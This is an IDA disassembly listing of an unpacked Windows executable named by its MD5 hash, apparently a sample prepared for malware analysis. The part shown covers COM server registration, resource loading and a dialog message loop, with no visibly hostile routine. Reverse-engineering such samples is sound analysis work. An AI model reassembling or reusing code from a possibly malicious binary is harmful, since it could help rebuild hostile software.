;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 990874CDACE5B30ED789B2D5109858DD
; File Name : u:\work\990874cdace5b30ed789b2d5109858dd_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 0000B035 ( 45109.)
; Section size in file : 0000B200 ( 45568.)
; Offset to raw data for section: 00000400
; Flags 60000020: Text Executable Readable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
sub_401000 proc near ; CODE XREF: StartAddress+4p
push ebx
push esi
push edi
mov edi, ds:WaitForSingleObject
mov esi, ecx
xor ebx, ebx
loc_40100D: ; CODE XREF: sub_401000+36j
; sub_401000+3Bj
mov eax, [esi+88h]
push 0FFFFFFFFh ; dwMilliseconds
push eax ; hHandle
call edi ; WaitForSingleObject
loc_401018: ; CODE XREF: sub_401000+2Ej
mov ecx, [esi+88h]
push 1388h ; dwMilliseconds
push ecx ; hHandle
mov [esi+8Ch], bl
call edi ; WaitForSingleObject
test eax, eax
jz short loc_401018
cmp [esi+8Ch], bl
jnz short loc_40100D
cmp [esi+14h], ebx
jnz short loc_40100D
mov edx, [esi+88h]
push edx ; hObject
call ds:CloseHandle ; CloseHandle
mov eax, [esi+84h]
push ebx ; lParam
push ebx ; wParam
push 12h ; Msg
push eax ; idThread
call ds:PostThreadMessageA ; PostThreadMessageA
pop edi
pop esi
pop ebx
retn
sub_401000 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __fastcall sub_401060(LPVOID lpParameter)
sub_401060 proc near ; CODE XREF: sub_4010C0+344p
ThreadId = dword ptr -4
push ecx
push esi
push 0 ; lpName
push 0 ; bInitialState
push 0 ; bManualReset
mov esi, ecx
push 0 ; lpEventAttributes
call ds:CreateEventA ; CreateEventA
test eax, eax
mov [esi+88h], eax
jnz short loc_401081
xor al, al
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
loc_401081: ; CODE XREF: sub_401060+1Aj
lea eax, [esp+8+ThreadId]
push eax ; lpThreadId
push 0 ; dwCreationFlags
push esi ; lpParameter
push offset StartAddress ; lpStartAddress
push 0 ; dwStackSize
push 0 ; lpThreadAttributes
call ds:CreateThread ; CreateThread
neg eax
sbb eax, eax
pop esi
neg eax
pop ecx
retn
sub_401060 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; DWORD __stdcall StartAddress(LPVOID)
StartAddress proc near ; DATA XREF: sub_401060+29o
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
call sub_401000
xor eax, eax
retn 4
StartAddress endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_4010C0(HINSTANCE hInstance,int,int,int)
sub_4010C0 proc near ; CODE XREF: start+9Fp
szLongPath = byte ptr -234h
String = byte ptr -130h
Msg = _SYSTEM_INFO ptr -2Ch
var_8 = dword ptr -8
sz = byte ptr -4
var_2 = byte ptr -2
hInstance = dword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 234h
push ebx
push esi
push edi
call ds:GetCommandLineA ; GetCommandLineA
xor ebx, ebx
mov [ebp+arg_8], eax
push ebx ; pvReserved
call ds:CoInitialize
mov eax, [ebp+hInstance]
mov dword_40FB50, offset dword_40F078
push eax
push offset dword_40FB70
push offset dword_40FAE0
mov dword_40FBA8, offset dword_40FAE0
mov dword_40FAE0, 84h
mov dword_40FB44, 300h
call sub_4045A0
mov ecx, offset dword_40D688
test ecx, ecx
jz short loc_401150
mov edx, ds:dword_40D688
mov eax, ds:dword_40D68C
mov ecx, ds:dword_40D690
mov dword_40FB98, edx
mov edx, ds:dword_40D694
mov dword_40FB9C, eax
mov dword_40FBA0, ecx
mov dword_40FBA4, edx
loc_401150: ; CODE XREF: sub_4010C0+60j
mov edi, ds:HeapCreate
push ebx ; dwMaximumSize
push ebx ; dwInitialSize
push ebx ; flOptions
call edi ; HeapCreate
mov hHeap, eax
lea eax, [ebp+Msg]
push eax ; lpSystemInfo
call ds:GetSystemInfo ; GetSystemInfo
mov eax, [ebp+Msg.dwNumberOfProcessors]
cmp eax, 1
jbe short loc_4011CC
lea edx, [eax+eax]
or ecx, 0FFFFFFFFh
xor eax, eax
loc_40117A: ; CODE XREF: sub_4010C0+CAj
test edx, 80000000h
jnz short loc_40118C
shl edx, 1
shr ecx, 1
inc eax
cmp eax, 20h
jl short loc_40117A
loc_40118C: ; CODE XREF: sub_4010C0+C0j
mov edx, hHeap
shr ecx, 1
mov dword_40FB54, ecx
lea ecx, ds:4[ecx*4]
push ecx ; dwBytes
push ebx ; dwFlags
push edx ; hHeap
call ds:HeapAlloc
mov dwFlags, eax
xor esi, esi
loc_4011B1: ; CODE XREF: sub_4010C0+108j
push ebx ; dwMaximumSize
push ebx ; dwInitialSize
push ebx ; flOptions
call edi ; HeapCreate
mov ecx, dwFlags
inc esi
mov [ecx+esi*4-4], eax
mov eax, dword_40FB54
cmp esi, eax
jbe short loc_4011B1
jmp short loc_4011D8
; ---------------------------------------------------------------------------
loc_4011CC: ; CODE XREF: sub_4010C0+B0j
mov dwFlags, ebx
mov dword_40FB54, ebx
loc_4011D8: ; CODE XREF: sub_4010C0+10Aj
call ds:GetCurrentThreadId ; GetCurrentThreadId
mov dx, word_40F0C4
lea ecx, [ebp+sz]
mov word ptr [ebp+sz], dx
mov edx, [ebp+arg_8]
mov dword_40FB64, eax
mov al, byte_40F0C6
push ecx ; lpsz
push edx ; int
mov [ebp+var_2], al
mov [ebp+var_8], ebx
call sub_403690
mov esi, eax
add esp, 8
cmp esi, ebx
jz loc_4013FF
mov edi, ds:lstrcmpiA
loc_401219: ; CODE XREF: sub_4010C0+186j
push offset String2 ; "UnregServer"
push esi ; lpString1
call edi ; lstrcmpiA
test eax, eax
jz short loc_40124D
push offset aRegserver ; "RegServer"
push esi ; lpString1
call edi ; lstrcmpiA
test eax, eax
jz loc_401329
lea eax, [ebp+sz]
push eax ; lpsz
push esi ; int
call sub_403690
mov esi, eax
add esp, 8
cmp esi, ebx
jnz short loc_401219
jmp loc_4013FF
; ---------------------------------------------------------------------------
loc_40124D: ; CODE XREF: sub_4010C0+163j
lea ecx, [ebp+Msg.dwNumberOfProcessors]
call sub_404540
mov edx, dword_40FBA8
lea ecx, [ebp+szLongPath]
push 104h ; nSize
push ecx ; lpFilename
mov eax, [edx+4]
push eax ; hModule
call ds:GetModuleFileNameA ; GetModuleFileNameA
lea ecx, [ebp+String]
push 104h ; cchBuffer
lea edx, [ebp+szLongPath]
push ecx ; lpszShortPath
push edx ; lpszLongPath
call ds:GetShortPathNameA ; GetShortPathNameA
lea eax, [ebp+String]
test eax, eax
jnz short loc_401298
xor esi, esi
jmp short loc_4012C8
; ---------------------------------------------------------------------------
loc_401298: ; CODE XREF: sub_4010C0+1D2j
lea ecx, [ebp+String]
push ecx ; lpString
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push ebx ; CodePage
lea edx, [ebp+String]
push esi ; cchWideChar
push edx ; lpMultiByteStr
push eax ; lpWideCharStr
call sub_401560
mov esi, eax
loc_4012C8: ; CODE XREF: sub_4010C0+1D6j
push esi ; lpString
call ds:lstrlenW ; lstrlenW
lea eax, ds:2[eax*4]
add eax, 3
and al, 0FCh
call sub_40AF70
mov edi, esp
push esi
push edi
call sub_401590
add esp, 8
lea eax, [ebp+Msg.dwNumberOfProcessors]
push edi ; int
push offset aModule ; "Module"
push eax ; int
call sub_401620
push offset Type ; "REGISTRY"
push 64h ; lpName
lea ecx, [ebp+Msg.dwNumberOfProcessors]
push esi ; lpString
push ecx ; int
call sub_4018A0
lea ecx, [ebp+Msg.dwNumberOfProcessors]
call sub_4015D0
push ebx ; int
push 1 ; bstrString
push offset dword_40FAE0 ; pptlib
call sub_404A70
mov [ebp+var_8], eax
jmp loc_40153B
; ---------------------------------------------------------------------------
loc_401329: ; CODE XREF: sub_4010C0+16Fj
lea ecx, [ebp+Msg.dwNumberOfProcessors]
call sub_404540
mov eax, dword_40FBA8
lea edx, [ebp+szLongPath]
push 104h ; nSize
push edx ; lpFilename
mov ecx, [eax+4]
push ecx ; hModule
call ds:GetModuleFileNameA ; GetModuleFileNameA
lea edx, [ebp+String]
push 104h ; cchBuffer
lea eax, [ebp+szLongPath]
push edx ; lpszShortPath
push eax ; lpszLongPath
call ds:GetShortPathNameA ; GetShortPathNameA
lea ecx, [ebp+String]
test ecx, ecx
jnz short loc_401373
xor esi, esi
jmp short loc_4013A3
; ---------------------------------------------------------------------------
loc_401373: ; CODE XREF: sub_4010C0+2ADj
lea edx, [ebp+String]
push edx ; lpString
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push ebx ; CodePage
lea ecx, [ebp+String]
push esi ; cchWideChar
push ecx ; lpMultiByteStr
push eax ; lpWideCharStr
call sub_401560
mov esi, eax
loc_4013A3: ; CODE XREF: sub_4010C0+2B1j
push esi ; lpString
call ds:lstrlenW ; lstrlenW
lea eax, ds:2[eax*4]
add eax, 3
and al, 0FCh
call sub_40AF70
mov edi, esp
push esi
push edi
call sub_401590
add esp, 8
lea edx, [ebp+Msg.dwNumberOfProcessors]
push edi ; int
push offset aModule ; "Module"
push edx ; int
call sub_401620
push offset Type ; "REGISTRY"
push 64h ; int
lea eax, [ebp+Msg.dwNumberOfProcessors]
push esi ; lpString
push eax ; int
call sub_401710
lea ecx, [ebp+Msg.dwNumberOfProcessors]
call sub_4015D0
push ebx
push 1
push offset dword_40FAE0
call sub_404810
mov [ebp+var_8], eax
loc_4013FF: ; CODE XREF: sub_4010C0+14Dj
; sub_4010C0+188j
mov ecx, offset dword_40FAE0 ; lpParameter
call sub_401060
push 1 ; flags
push 4 ; dwClsContext
push offset dword_40FAE0 ; int
call sub_404630
mov al, ds:byte_40D71A
test al, al
jz short loc_401442
mov edx, [ebp+arg_8]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
repne scasb
not ecx
dec ecx
cmp byte ptr [ecx+edx-1], 75h
jnz short loc_401442
mov ecx, [ebp+hInstance]
push ecx ; hInstance
call sub_4036E0
add esp, 4
loc_401442: ; CODE XREF: sub_4010C0+35Ej
; sub_4010C0+374j
call ds:GetCommandLineA ; GetCommandLineA
mov edi, [ebp+hInstance]
push eax ; lpString
push edi ; hInstance
call sub_4039C0
push 60h ; dwBytes
call sub_40AF50
mov esi, eax
add esp, 0Ch
cmp esi, ebx
jz short loc_4014B0
mov ecx, esi
call sub_403680
lea ecx, [esi+20h] ; int
call sub_408BE0
mov dword ptr [esi], offset off_40D698
mov [esi+1Ch], edi
mov [esi+5Ch], ebx
mov byte ptr [esi+4Ch], 0
push ebx ; dwInitParam
mov lpMem, esi
call ds:GetDesktopWindow ; GetDesktopWindow
mov ecx, lpMem
push eax ; hWndParent
call sub_404DC0
mov al, ds:byte_40D718
test al, al
jz short loc_4014B8
mov edx, lpMem
push ebx
mov eax, [edx+4]
push eax
jmp short loc_4014C4
; ---------------------------------------------------------------------------
loc_4014B0: ; CODE XREF: sub_4010C0+3A0j
mov lpMem, ebx
jmp short loc_401526
; ---------------------------------------------------------------------------
loc_4014B8: ; CODE XREF: sub_4010C0+3E1j
mov ecx, lpMem
push 5 ; nCmdShow
mov edx, [ecx+4]
push edx ; hWnd
loc_4014C4: ; CODE XREF: sub_4010C0+3EEj
call ds:ShowWindow ; ShowWindow
mov esi, ds:GetMessageA
push ebx ; wMsgFilterMax
push ebx ; wMsgFilterMin
lea eax, [ebp+Msg.lpMinimumApplicationAddress]
push ebx ; hWnd
push eax ; lpMsg
call esi ; GetMessageA
test eax, eax
jz short loc_401515
mov edi, ds:IsDialogMessageA
mov ebx, ds:DispatchMessageA
loc_4014E9: ; CODE XREF: sub_4010C0+451j
mov edx, lpMem
lea ecx, [ebp+Msg.lpMinimumApplicationAddress]
push ecx ; lpMsg
mov eax, [edx+4]
push eax ; hDlg
call edi ; IsDialogMessageA
test eax, eax
jnz short loc_401503
lea ecx, [ebp+Msg.lpMinimumApplicationAddress]
push ecx ; lpMsg
call ebx ; DispatchMessageA
loc_401503: ; CODE XREF: sub_4010C0+43Bj
push 0 ; wMsgFilterMax
push 0 ; wMsgFilterMin
lea edx, [ebp+Msg.lpMinimumApplicationAddress]
push 0 ; hWnd
push edx ; lpMsg
call esi ; GetMessageA
test eax, eax
jnz short loc_4014E9
xor ebx, ebx
loc_401515: ; CODE XREF: sub_4010C0+41Bj
mov ecx, lpMem ; lpMem
cmp ecx, ebx
jz short loc_401526
push 1 ; char
call sub_404570
loc_401526: ; CODE XREF: sub_4010C0+3F6j
; sub_4010C0+45Dj
push offset dword_40FAE0
call sub_4046D0
push 3E8h ; dwMilliseconds
call ds:Sleep ; Sleep
loc_40153B: ; CODE XREF: sub_4010C0+264j
push offset dword_40FAE0
call sub_404720
call ds:CoUninitialize
mov eax, [ebp+var_8]
lea esp, [ebp-240h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
sub_4010C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_401560(LPWSTR lpWideCharStr,LPCSTR lpMultiByteStr,int cchWideChar,UINT CodePage)
sub_401560 proc near ; CODE XREF: sub_4010C0+201p
; sub_4010C0+2DCp ...
lpWideCharStr = dword ptr 4
lpMultiByteStr = dword ptr 8
cchWideChar = dword ptr 0Ch
CodePage = dword ptr 10h
mov eax, [esp+cchWideChar]
mov ecx, [esp+lpMultiByteStr]
mov edx, [esp+CodePage]
push esi
mov esi, [esp+4+lpWideCharStr]
push eax ; cchWideChar
push esi ; lpWideCharStr
push 0FFFFFFFFh ; cbMultiByte
push ecx ; lpMultiByteStr
push 0 ; dwFlags
push edx ; CodePage
mov word ptr [esi], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov eax, esi
pop esi
retn 10h
sub_401560 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_401590 proc near ; CODE XREF: sub_4010C0+224p
; sub_4010C0+2FFp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
mov cx, [edx]
test cx, cx
jz short loc_4015C0
loc_4015A0: ; CODE XREF: sub_401590+2Ej
mov [eax], cx
add eax, 2
cmp word ptr [edx], 27h
jnz short loc_4015B4
mov word ptr [eax], 27h
add eax, 2
loc_4015B4: ; CODE XREF: sub_401590+1Aj
mov cx, [edx+2]
add edx, 2
test cx, cx
jnz short loc_4015A0
loc_4015C0: ; CODE XREF: sub_401590+Ej
mov word ptr [eax], 0
retn
sub_401590 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4015D0 proc near ; CODE XREF: sub_4010C0+24Fp
; sub_4010C0+32Ap
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, [ebx+4]
test eax, eax
jle short loc_401608
push ebp
mov ebp, ds:CoTaskMemFree
push esi
loc_4015E5: ; CODE XREF: sub_4015D0+34j
mov eax, [ebx]
mov esi, [eax+edi*4]
mov ecx, [esi+4]
push ecx ; pv
call ebp ; CoTaskMemFree
mov edx, [esi]
push edx ; pv
call ebp ; CoTaskMemFree
push esi ; lpMem
call sub_40AF60
mov eax, [ebx+4]
add esp, 4
inc edi
cmp edi, eax
jl short loc_4015E5
pop esi
pop ebp
loc_401608: ; CODE XREF: sub_4015D0+Bj
mov eax, [ebx]
mov dword ptr [ebx+4], 0
push eax ; lpMem
call sub_40AF10
add esp, 4
pop edi
pop ebx
retn
sub_4015D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_401620(int,LPCWSTR lpString,int)
sub_401620 proc near ; CODE XREF: sub_4010C0+236p
; sub_4010C0+311p
var_4 = dword ptr -4
arg_0 = dword ptr 4
lpString = dword ptr 8
arg_8 = dword ptr 0Ch
push ecx
push ebx
push ebp
push esi
push edi
push 8 ; dwBytes
mov [esp+18h+var_4], 0
call sub_40AF50
mov ebx, eax
add esp, 4
test ebx, ebx
jz loc_401702
mov eax, [esp+14h+lpString]
mov edi, ds:lstrlenW
push eax ; lpString
call edi ; lstrlenW
lea esi, [eax+eax+2]
mov ecx, [esp+14h+arg_8]
push ecx ; lpString
call edi ; lstrlenW
mov edi, ds:CoTaskMemAlloc
push esi ; cb
lea ebp, [eax+eax+2]
call edi ; CoTaskMemAlloc
push ebp ; cb
mov [ebx], eax
call edi ; CoTaskMemAlloc
mov edi, [ebx]
mov [ebx+4], eax
test edi, edi
jz short loc_4016EA
test eax, eax
jz short loc_4016EA
mov ecx, esi
mov esi, [esp+14h+lpString]
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov esi, [esp+14h+arg_8]
mov edi, [ebx+4]
mov ecx, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov esi, [esp+14h+arg_0]
mov eax, [esi+8]
mov ecx, [esi+4]
cmp ecx, eax
jnz short loc_4016CB
mov edx, [esi]
add eax, eax
mov [esi+8], eax
lea ecx, ds:0[eax*4]
push ecx ; dwBytes
push edx ; lpMem
call sub_40AEB0
add esp, 8
mov [esi], eax
loc_4016CB: ; CODE XREF: sub_401620+8Fj
mov eax, [esi]
test eax, eax
jz short loc_401702
mov ecx, [esi+4]
pop edi
mov [eax+ecx*4], ebx
mov eax, [esi+4]
inc eax
mov [esi+4], eax
mov eax, [esp+10h+var_4]
pop esi
pop ebp
pop ebx
pop ecx
retn 0Ch
; ---------------------------------------------------------------------------
loc_4016EA: ; CODE XREF: sub_401620+52j
; sub_401620+56j
mov esi, ds:CoTaskMemFree
push edi ; pv
call esi ; CoTaskMemFree
mov edx, [ebx+4]
push edx ; pv
call esi ; CoTaskMemFree
push ebx ; lpMem
call sub_40AF60
add esp, 4
loc_401702: ; CODE XREF: sub_401620+1Bj
; sub_401620+AFj
pop edi
pop esi
pop ebp
mov eax, 8007000Eh
pop ebx
pop ecx
retn 0Ch
sub_401620 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_401710(int,LPCWSTR lpString,int,LPCWSTR lpType)
sub_401710 proc near ; CODE XREF: sub_4010C0+322p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
lpString = dword ptr 0Ch
arg_8 = dword ptr 10h
lpType = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, [ebp+lpType]
push esi
push edi
test ebx, ebx
jnz short loc_401725
mov [ebp+lpType], ebx
jmp short loc_401757
; ---------------------------------------------------------------------------
loc_401725: ; CODE XREF: sub_401710+Ej
push ebx ; lpString
call ds:lstrlenW ; lstrlenW
lea edi, [eax+eax+2]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_40AF70
mov esi, esp
push 0 ; lpUsedDefaultChar
push 0 ; lpDefaultChar
push edi ; cbMultiByte
push esi ; lpMultiByteStr
push 0FFFFFFFFh ; cchWideChar
push ebx ; lpWideCharStr
push 0 ; dwFlags
push 0 ; CodePage
mov byte ptr [esi], 0
call ds:WideCharToMultiByte ; WideCharToMultiByte
mov [ebp+lpType], esi
loc_401757: ; CODE XREF: sub_401710+13j
mov eax, [ebp+arg_0]
mov esi, [ebp+arg_8]
mov ebx, [ebp+lpString]
mov [ebp+var_4], eax
xor eax, eax
and esi, 0FFFFh
cmp ebx, eax
mov [ebp+arg_8], esi
mov [ebp+var_8], eax
jz short loc_4017A9
push ebx ; lpString
call ds:lstrlenW ; lstrlenW
lea edi, [eax+eax+2]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_40AF70
mov esi, esp
push 0 ; lpUsedDefaultChar
push 0 ; lpDefaultChar
push edi ; cbMultiByte
push esi ; lpMultiByteStr
push 0FFFFFFFFh ; cchWideChar
push ebx ; lpWideCharStr
push 0 ; dwFlags
push 0 ; CodePage
mov byte ptr [esi], 0
call ds:WideCharToMultiByte ; WideCharToMultiByte
mov eax, esi
mov esi, [ebp+arg_8]
loc_4017A9: ; CODE XREF: sub_401710+63j
push 2 ; dwFlags
push 0 ; hFile
push eax ; lpLibFileName
call ds:LoadLibraryExA ; LoadLibraryExA
mov edi, eax
test edi, edi
mov [ebp+arg_8], edi
jnz short loc_4017EF
mov esi, ds:GetLastError
call esi ; GetLastError
test eax, eax
jz short loc_4017E1
call esi ; GetLastError
and eax, 0FFFFh
or eax, 80070000h
lea esp, [ebp-14h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_4017E1: ; CODE XREF: sub_401710+B7j
xor eax, eax
lea esp, [ebp-14h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_4017EF: ; CODE XREF: sub_401710+ABj
mov ecx, [ebp+lpType]
push ecx ; lpType
push esi ; lpName
push edi ; hModule
call ds:FindResourceA ; FindResourceA
mov ebx, eax
test ebx, ebx
jnz short loc_401811
mov esi, ds:GetLastError
call esi ; GetLastError
test eax, eax
jnz short loc_40182B
loc_40180D: ; CODE XREF: sub_401710+119j
xor esi, esi
jmp short loc_401886
; ---------------------------------------------------------------------------
loc_401811: ; CODE XREF: sub_401710+EFj
push ebx ; hResInfo
push edi ; hModule
call ds:LoadResource ; LoadResource
mov esi, eax
test esi, esi
jnz short loc_40183D
mov esi, ds:GetLastError
call esi ; GetLastError
test eax, eax
jz short loc_40180D
loc_40182B: ; CODE XREF: sub_401710+FBj
call esi ; GetLastError
mov esi, eax
and esi, 0FFFFh
or esi, 80070000h
jmp short loc_401886
; ---------------------------------------------------------------------------
loc_40183D: ; CODE XREF: sub_401710+10Dj
push ebx ; hResInfo
push edi ; hModule
call ds:SizeofResource ; SizeofResource
mov ebx, eax
mov eax, esi
cmp byte ptr [ebx+esi], 0
jz short loc_401879
lea edi, [ebx+1]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_40AF70
mov ecx, edi
mov eax, esp
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov edi, [ebp+arg_8]
mov byte ptr [eax+ebx], 0
loc_401879: ; CODE XREF: sub_401710+13Dj
push 1
push eax
lea ecx, [ebp+var_8]
call sub_401A30
mov esi, eax
loc_401886: ; CODE XREF: sub_401710+FFj
; sub_401710+12Bj
push edi ; hLibModule
call ds:FreeLibrary ; FreeLibrary
lea esp, [ebp-14h]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
sub_401710 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_4018A0(int,LPCWSTR lpString,LPCSTR lpName,LPCWSTR lpType)
sub_4018A0 proc near ; CODE XREF: sub_4010C0+247p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
lpString = dword ptr 0Ch
lpName = dword ptr 10h
lpType = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, [ebp+lpType]
push esi
push edi
test ebx, ebx
jnz short loc_4018B5
mov [ebp+lpType], ebx
jmp short loc_4018E7
; ---------------------------------------------------------------------------
loc_4018B5: ; CODE XREF: sub_4018A0+Ej
push ebx ; lpString
call ds:lstrlenW ; lstrlenW
lea edi, [eax+eax+2]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_40AF70
mov esi, esp
push 0 ; lpUsedDefaultChar
push 0 ; lpDefaultChar
push edi ; cbMultiByte
push esi ; lpMultiByteStr
push 0FFFFFFFFh ; cchWideChar
push ebx ; lpWideCharStr
push 0 ; dwFlags
push 0 ; CodePage
mov byte ptr [esi], 0
call ds:WideCharToMultiByte ; WideCharToMultiByte
mov [ebp+lpType], esi
loc_4018E7: ; CODE XREF: sub_4018A0+13j
mov eax, [ebp+lpName]
mov ebx, [ebp+lpString]
and eax, 0FFFFh
xor esi, esi
mov [ebp+lpName], eax
mov eax, [ebp+arg_0]
cmp ebx, esi
mov [ebp+var_4], eax
mov [ebp+var_8], esi
jz short loc_401933
push ebx ; lpString
call ds:lstrlenW ; lstrlenW
lea edi, [eax+eax+2]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_40AF70
mov esi, esp
push 0 ; lpUsedDefaultChar
push 0 ; lpDefaultChar
push edi ; cbMultiByte
push esi ; lpMultiByteStr
push 0FFFFFFFFh ; cchWideChar
push ebx ; lpWideCharStr
push 0 ; dwFlags
push 0 ; CodePage
mov byte ptr [esi], 0
call ds:WideCharToMultiByte ; WideCharToMultiByte
loc_401933: ; CODE XREF: sub_4018A0+62j
push 2 ; dwFlags
push 0 ; hFile
push esi ; lpLibFileName
call ds:LoadLibraryExA ; LoadLibraryExA
mov edi, eax
test edi, edi
mov [ebp+arg_0], edi
jnz short loc_401979
mov esi, ds:GetLastError
call esi ; GetLastError
test eax, eax
jz short loc_40196B
call esi ; GetLastError
and eax, 0FFFFh
or eax, 80070000h
lea esp, [ebp-14h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_40196B: ; CODE XREF: sub_4018A0+B1j
xor eax, eax
lea esp, [ebp-14h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_401979: ; CODE XREF: sub_4018A0+A5j
mov ecx, [ebp+lpType]
mov edx, [ebp+lpName]
push ecx ; lpType
push edx ; lpName
push edi ; hModule
call ds:FindResourceA ; FindResourceA
mov ebx, eax
test ebx, ebx
jnz short loc_40199E
mov esi, ds:GetLastError
call esi ; GetLastError
test eax, eax
jnz short loc_4019B8
loc_40199A: ; CODE XREF: sub_4018A0+116j
xor esi, esi
jmp short loc_401A13
; ---------------------------------------------------------------------------
loc_40199E: ; CODE XREF: sub_4018A0+ECj
push ebx ; hResInfo
push edi ; hModule
call ds:LoadResource ; LoadResource
mov esi, eax
test esi, esi
jnz short loc_4019CA
mov esi, ds:GetLastError
call esi ; GetLastError
test eax, eax
jz short loc_40199A
loc_4019B8: ; CODE XREF: sub_4018A0+F8j
call esi ; GetLastError
mov esi, eax
and esi, 0FFFFh
or esi, 80070000h
jmp short loc_401A13
; ---------------------------------------------------------------------------
loc_4019CA: ; CODE XREF: sub_4018A0+10Aj
push ebx ; hResInfo
push edi ; hModule
call ds:SizeofResource ; SizeofResource
mov ebx, eax
mov eax, esi
cmp byte ptr [ebx+esi], 0
jz short loc_401A06
lea edi, [ebx+1]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_40AF70
mov ecx, edi
mov eax, esp
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov edi, [ebp+arg_0]
mov byte ptr [eax+ebx], 0
loc_401A06: ; CODE XREF: sub_4018A0+13Aj
push 0
push eax
lea ecx, [ebp+var_8]
call sub_401A30
mov esi, eax
loc_401A13: ; CODE XREF: sub_4018A0+FCj
; sub_4018A0+128j
push edi ; hLibModule
call ds:FreeLibrary ; FreeLibrary
lea esp, [ebp-14h]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
sub_4018A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_401A30 proc near ; CODE XREF: sub_401710+16Fp
; sub_4018A0+16Cp
arg_0 = byte ptr 4
pv = dword ptr 0Ch
String2 = byte ptr 10h
SubKey = byte ptr 30h
arg_102C = byte ptr 1030h
lpString = dword ptr 1034h
arg_1034 = dword ptr 1038h
mov eax, 1030h
call sub_40AF70
push ebx
push ebp
mov ebp, [esp+8+lpString]
push esi
push edi
xor edi, edi
mov esi, ecx
push ebp ; lpString
mov [esp+14h], edi
call ds:lstrlenA ; lstrlenA
shl eax, 1
push eax ; cb
lea ecx, [esp+14h+arg_0]
call sub_401D40
cmp [esp+10h+pv], edi
jnz short loc_401A81
push edi ; pv
call ds:CoTaskMemFree
mov edi, 8007000Eh
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 1030h
retn 8
; ---------------------------------------------------------------------------
loc_401A81: ; CODE XREF: sub_401A30+34j
mov [esi], ebp
mov al, [ebp+0]
test al, al
jz loc_401B33
loc_401A8E: ; CODE XREF: sub_401A30+FDj
mov eax, [esi]
push eax ; lpsz
cmp byte ptr [eax], 25h
jnz short loc_401B13
mov ebx, ds:CharNextA
call ebx ; CharNextA
mov [esi], eax
mov cl, [eax]
cmp cl, 25h
jnz short loc_401AB3
push eax
lea ecx, [esp+14h+arg_0]
call sub_401D60
jmp short loc_401B22
